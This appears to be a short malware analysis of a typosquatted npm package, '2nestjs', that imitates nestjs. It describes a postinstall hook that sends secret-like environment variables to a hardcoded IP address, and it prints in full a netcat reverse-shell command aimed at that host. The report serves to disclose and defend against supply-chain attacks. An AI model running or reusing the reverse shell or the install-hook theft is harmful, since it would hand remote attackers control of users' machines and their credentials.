The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.
